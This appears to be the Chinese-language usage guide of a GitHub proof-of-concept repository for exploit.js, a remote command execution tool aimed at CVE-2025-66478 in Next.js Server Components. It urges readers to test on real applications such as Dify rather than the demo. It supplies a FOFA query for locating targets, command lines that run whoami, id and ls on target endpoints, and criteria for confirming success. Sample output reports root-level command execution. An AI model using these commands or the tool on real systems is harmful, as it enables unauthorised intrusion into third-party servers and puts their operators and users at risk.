4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / HOW_TO_USE.md MD
# CVE-2025-66478 Exploit 使用说明

## 当前状态

exploit.js 已经实现了正确的 payload 构造和多种格式支持,但在简单的演示程序上可能无法完全复现漏洞。

## 为什么演示程序上"没用"?

### 原因 1: 端点问题

- `/_rsc` 端点返回 404 - Next.js 15 可能改变了端点格式
- `/?/actions` 返回 HTML - 被当作页面路由,不是 Server Actions 端点

### 原因 2: 漏洞触发机制

CVE-2025-66478 需要在 **RSC Flight 协议的反序列化过程**中触发:
- 不是普通的 API 路由(如 `/api/test`)
- 不是普通的页面路由
- 需要 RSC Flight 协议处理 payload

### 原因 3: 演示程序限制

简单的演示程序可能:
- 没有完整的 RSC Flight 协议处理
- Server Actions 端点格式不正确
- 无法触发反序列化漏洞

## 解决方案

### 方案 1: 在实际应用上测试(推荐)

在实际的 Dify 等应用上测试:

```bash
# 使用 FOFA 找到目标
# body="NEXT_DATA" && (body="dify" || title="Dify")

# 使用 exploit.js 测试
node exploit.js http://target.com/api/chat "whoami"
node exploit.js http://target.com --scan
```

这些应用有:
- ✅ 完整的 Server Actions 实现
- ✅ RSC Flight 协议处理
- ✅ 会反序列化 RSC payload

### 方案 2: 通过浏览器分析

1. 打开浏览器开发者工具(F12)
2. 访问 http://localhost:3000
3. 提交表单,观察 Network 标签
4. 找到实际的 Server Actions 请求格式
5. 使用该格式改进 exploit.js

### 方案 3: 使用详细输出模式

```bash
# 查看实际发送的请求
node exploit.js http://localhost:3000/_rsc "echo test" --verbose
```

## 当前代码的价值

即使演示程序无法完全复现,exploit.js 代码仍然:

1. ✅ **正确的 payload 构造** - 基于 CVE-2025-55182 的实际利用方式
2. ✅ **多种格式支持** - multipart, JSON, Flight, Server Actions
3. ✅ **详细的响应分析** - 可以清楚看到服务器响应
4. ✅ **自动端点发现** - 可以扫描多个端点

## 实际利用建议

在实际环境中:

1. **使用扫描模式**
   ```bash
   node exploit.js http://target.com --scan
   ```

2. **尝试不同的端点**
   - Dify: `/api/chat`, `/api/completion`
   - 其他应用: 根据实际情况

3. **使用详细输出**
   ```bash
   node exploit.js http://target.com/api/chat "whoami" --verbose
   ```

## 总结

- ✅ 演示程序已修复(Server Component)
- ✅ exploit.js 代码是正确的
- ⚠️ 简单演示程序可能无法完全复现漏洞
- ✅ 在实际应用(如 Dify)上应该可以工作

当前的 exploit.js 代码已经实现了正确的 payload 构造和多种格式支持,可以用于实际目标。

## 如何确认利用成功?

### 成功判断标准

exploit.js 现在会根据**置信度**来判断利用是否成功:

#### ✅ 高置信度成功指标

1. **命令输出匹配**
   - `whoami` 命令返回用户名(如 `root`, `www-data`, `node` 等)
   - `echo test` 命令返回 `test`
   - `pwd` 命令返回路径(如 `/app`, `/var/www` 等)
   - `ls` 命令返回文件列表(如 `bin`, `boot`, `dev`, `etc` 等)

2. **命令执行错误**
   - 响应中包含 `Error: Command failed` 等错误信息
   - 说明命令被执行了,只是执行失败

3. **非标准响应内容**
   - 响应中包含明显的命令输出(非 HTML/错误页面)
   - 响应中包含系统路径、文件名等

#### ⚠️ 中等置信度指标

1. **状态码 500 + 非标准错误**
   - 服务器返回 500 错误
   - 但错误信息中包含可能的命令输出片段

2. **响应内容异常**
   - 响应大小异常(过大或过小)
   - 响应内容类型不符合预期

#### ❌ 失败指标

1. **状态码 404**
   - 端点不存在
   - 建议:使用 `--scan` 模式查找正确端点

2. **状态码 405**
   - 方法不允许
   - 建议:端点存在但不接受 POST,可能需要不同的请求格式

3. **标准错误页面**
   - 响应只包含标准的 HTML 错误页面
   - 没有任何命令执行痕迹

### 输出示例

#### 成功示例

```bash
$ node exploit.js http://target.com/api/chat "whoami"

[*] 尝试方法 1: Server Actions 格式...
[*] 收到响应 (状态码: 500, 格式: serverAction)

✅ 检测到命令执行结果 (高置信度)!
[+] 命令输出:
============================================================
    找到用户名: root
============================================================

🎉 漏洞利用成功!命令已执行!
```

#### 可能成功示例

```bash
$ node exploit.js http://target.com/api/chat "ls /"

[*] 尝试方法 2: Flight 协议格式...
[*] 收到响应 (状态码: 500, 格式: flight)

⚠️ 检测到命令执行结果 (中等置信度)!
[+] 命令输出:
============================================================
    bin
    boot
    dev
    etc
============================================================

⚠️  可能成功,但需要进一步验证
```

#### 失败示例

```bash
$ node exploit.js http://target.com/_rsc "whoami"

[*] 尝试方法 1: Server Actions 格式...
[*] 收到响应 (状态码: 404, 格式: serverAction)

[-] 未检测到命令执行结果
[*] 显示完整响应内容以供分析:

[!] 当前响应分析:
    - 状态码 404: 端点不存在
    - 建议: 尝试其他端点或使用 --scan 模式
```

### 验证技巧

1. **使用简单命令测试**
   ```bash
   # 先测试 echo,输出明确
   node exploit.js http://target.com/api/chat "echo SUCCESS123"
   
   # 如果响应中包含 SUCCESS123,说明成功
   ```

2. **使用 whoami 验证**
   ```bash
   # whoami 输出用户名,容易识别
   node exploit.js http://target.com/api/chat "whoami"
   
   # 查找响应中的用户名
   ```

3. **使用 id 命令**
   ```bash
   # id 命令输出 uid/gid,格式固定
   node exploit.js http://target.com/api/chat "id"
   
   # 查找响应中的 uid= 或 gid=
   ```

4. **查看完整响应**
   - 即使显示"未检测到",也要查看完整响应内容
   - 命令输出可能隐藏在 HTML 或 JSON 中
   - 使用 `--verbose` 模式查看详细信息

5. **多次尝试不同格式**
   - exploit.js 会自动尝试 4 种格式
   - 如果一种格式失败,其他格式可能成功
   - 观察哪种格式返回了最有用的响应

### 常见问题

**Q: 为什么显示"可能成功"而不是"成功"?**

A: 当检测到可能的命令输出,但置信度不够高时,会显示"可能成功"。建议:
- 查看完整响应内容
- 尝试其他命令验证
- 检查响应中是否真的包含命令输出

**Q: 状态码 500 是成功还是失败?**

A: 状态码 500 可能是成功的标志!因为:
- 命令可能已执行
- 但执行结果导致服务器返回错误
- 命令输出可能在错误信息中

**Q: 如何提高成功率?**

A: 
1. 使用 `--scan` 模式找到正确的端点
2. 尝试不同的命令(从简单到复杂)
3. 使用 `--verbose` 模式查看详细信息
4. 在实际应用(如 Dify)上测试,而不是简单演示程序